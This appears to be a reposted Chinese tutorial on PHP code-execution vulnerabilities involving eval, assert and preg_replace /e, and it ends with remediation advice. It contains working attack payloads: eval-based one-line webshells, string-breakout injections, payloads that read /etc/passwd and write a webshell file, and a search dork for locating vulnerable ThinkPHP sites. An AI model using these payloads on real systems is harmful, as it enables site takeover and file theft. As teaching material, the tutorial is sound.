原标题:Web安全之代码执行漏洞

内容

1、代码执行漏洞的概述

2、代码执行漏洞的危害

3、代码执行漏洞的利用

4、代码执行漏洞的防御

背景介绍

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

例子

PHP CMS中 settings的内容:

array(

'upload_maxsize' => '2048',

'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',

'watermark_enable' => '1',

'watermark_minwidth' => '300',

'watermark_minheight' => '300',

'watermark_img' => '/statics/images/water/mark.png',

'watermark_pct' => '85',

'watermark_quality' => '80',

'watermark_pos' => '9' , )

PHP CMS中 很常用的string2array函数:

function string2array($data){

if($data == ''){

return array();

}

eval("\$array = $data;")

return $array;

}

PHP CMS中 很常用的string2array函数:

$data = "array('a'=>'aaaa',

'b'=>'222222',

'c'=>'',111=>phpinfo(),222=>'22'

)";

eval("\$arr = $data;");

?>

其实settings是一个字符串形式的“PHP数组”,这里必须使用eval函数才能将“字符串”变成一个真正的数组。

漏洞危害

执行任意代码

向网站写WebShell

控制整个网站甚至服务器

相关函数

eval()

assert()

preg_replace() + /e 模式

create_function()

array_map()

call_user_func()/call_user_func_array()

array_filter()

usort(),uasort()

file_put_contents()

fputs()

$_GET[‘a’]($_GET[‘b’]);//a=assert&b=phpinfo()

$string = 'google 123, 456';

$pattern = '/(\w+) (\d+), (\d+)/i';

$replacement = 'runoob ${2},\\3';

echo preg_replace($pattern, $replacement, $string);

输出:runoob 123,456

intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”

${@print(eval($_POST[1]))}

{${@eval($_POST[1])}}

eval()函数漏洞利用_1

$data = $_GET['data'];

eval("\$ret = $data;");

echo $ret;

?>

eval()函数漏洞利用_2

//关闭魔术方法

$data=$_GET[‘data’];

eval(“\$ret = strtolower(‘$data’);”);

echo $ret;

?>

/?data=1’);phpinfo();//

eval()函数漏洞利用_3

$data=$_GET[‘data’];

eval(“\$ret = strtolower(\”$data\”);”);

echo $ret;

?>

/?data=${phpinfo()} (php版本5.5及以上)

/?data=“);phpinfo();//

preg_replace+/e利用

$data=$_GET[‘data’];

echo $data;

preg_replace(‘/(.*)/e’,‘$ret=“\\1”;’, $data);

echo $ret;

?>

漏洞利用

{${@eval($_POST[1])}} 一句话

{${exit(print(getcwd()))}} 获取当前工作路径

{${exit(var_dump(file_get_contents($_POST[f])))}}

读文件 f=/etc/passwd

{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}

写webshell f=1.php&d=1111111

漏洞修复方案

对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。

对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().

对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

来源网络,侵权联系删除返回搜狐,查看更多

责任编辑:

php漏洞eval,Web安全之代码执行漏洞相关推荐

  1. Web安全之代码执行漏洞

    内容 1.代码执行漏洞的概述 2.代码执行漏洞的危害 3.代码执行漏洞的利用 4.代码执行漏洞的防御 背景介绍 在Web应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用eval函数(PHP函数) ...

  2. goahead处理json_GoAhead Web Server远程代码执行漏洞分析(附PoC)

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 本文是关于GoAhead web server远程代码执行漏洞(CVE-2017- ...

  3. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  4. wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)

    1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...

  5. android fastjson漏洞_【漏洞预警】Fastjson 远程代码执行漏洞(暂无PoC)

    Fastjson简介 Fastjson是一个Java语言编写的高性能功能完善的JSON库.它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Jav ...

  6. 众至科技:漏洞通告 | 微软10月发布多个安全漏洞;Apache Shiro权限绕过漏洞;Apache Commons存在代码执行漏洞

    微软发布10月多个安全漏洞 1.漏洞概述 2022年10月11日,微软发布了10月安全更新,此次更新修复了包括2个0 day漏洞在内的84个安全漏洞(不包括10月3日修复的12个Microsoft   ...

  7. php/5.2.17漏洞,【漏洞预警】ThinkPHP5远程代码执行漏洞

    2018年12月10日,白帽汇安全研究院发现thinkphp官网发布了安全更新,修复了一个远程代码执行漏洞,该漏洞是由于框架对控制器名没有进行敏感字符检测,导致在没有开启强制路由的情况下可能导致远程代 ...

  8. 不能执行已释放 script 的代码_[漏洞预警]CVE20190708远程桌面代码执行漏洞利用工具已放出...

    漏洞描述 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了许多版本的Windows操作系统.该漏洞在不需身份认证的情况下即可远程触发,危害与影 ...

  9. mysql 5 可执行漏洞_漏洞预警:MySQL 0-day代码执行漏洞 可本地提权

    来自波兰的安全研究人员Dawid Golunski刚刚发现了两个MySQL的0-day漏洞,影响到所有版本分支.默认配置的MySQL服务器(5.7.5.6和5.5),包括最新版本.攻击者可以远程和本地 ...

  10. rmi远程代码执行漏洞_【最新漏洞简讯】WebLogic远程代码执行漏洞 (CVE202014645)

    ↑ 点击上方"SecMind安全管家"关注我们 情报编号:W1120200715 漏洞概述 WebLogic是Oracle公司出品的用于开发.集成.部署和管理大型分布式Web应用. ...

最新文章

  1. 他开发了基因界的百科全书,贡献却少有人知
  2. 如何在ubuntu中安装mysql与mysql workbench
  3. 【CyberSecurityLearning 33】Nginx和Tomcat服务的搭建、Nginx负载均衡
  4. vue router获取整条路径参数
  5. wxpython制作表格界面_wxpython入门第二步(布局)
  6. L1-056 猜数字 (20 分)
  7. Yii 2 美化 url
  8. NeurIPS 2020 | 微软亚洲研究院论文摘录之目标检测篇
  9. 罗永浩确认12月初开发布会 不是手机也不是电子烟
  10. 电子围栏原理解析---原理
  11. mysqlbinlog unknown variable:default-character-set=gbk
  12. BZOJ 2469 [中山市选2010]简单数谜
  13. 一个比较好看的彩带飘飞和点击效果 canvas实现
  14. 2016天猫快消母婴行业双11商家大会
  15. 超像素评价(评估)标准
  16. 怎么添加usb虚拟打印机端口_佳能LBP2900,夏普等特殊打印机使用教程
  17. 使用YASM编程 - 06
  18. 微信支付商户平台的apikey与公众平台的appsecret的区别
  19. 你要小心那些涉世不深的老实人
  20. 古典音乐入门的常见问题

热门文章

  1. VSCode猜测字符编码
  2. Mysql 10位 13位时间戳对比现在时间 时间对比查询
  3. C和C++不安全?Android 支持 Rust 开发操作系统
  4. DFMEA \FTA
  5. BAT自动校对时间脚本,让WINDOWS系统自动校对时间
  6. java生成一年中假日表(包括周末和法定假期),用于计算一年中的工作日
  7. LinuxAndroid网络前缀和子网掩码的关系
  8. workerman执行busy,http请求不返回导致阻塞
  9. OK6410A 之 SPI 驱动 测试 步骤
  10. 中国大陆加港澳台手机正则验证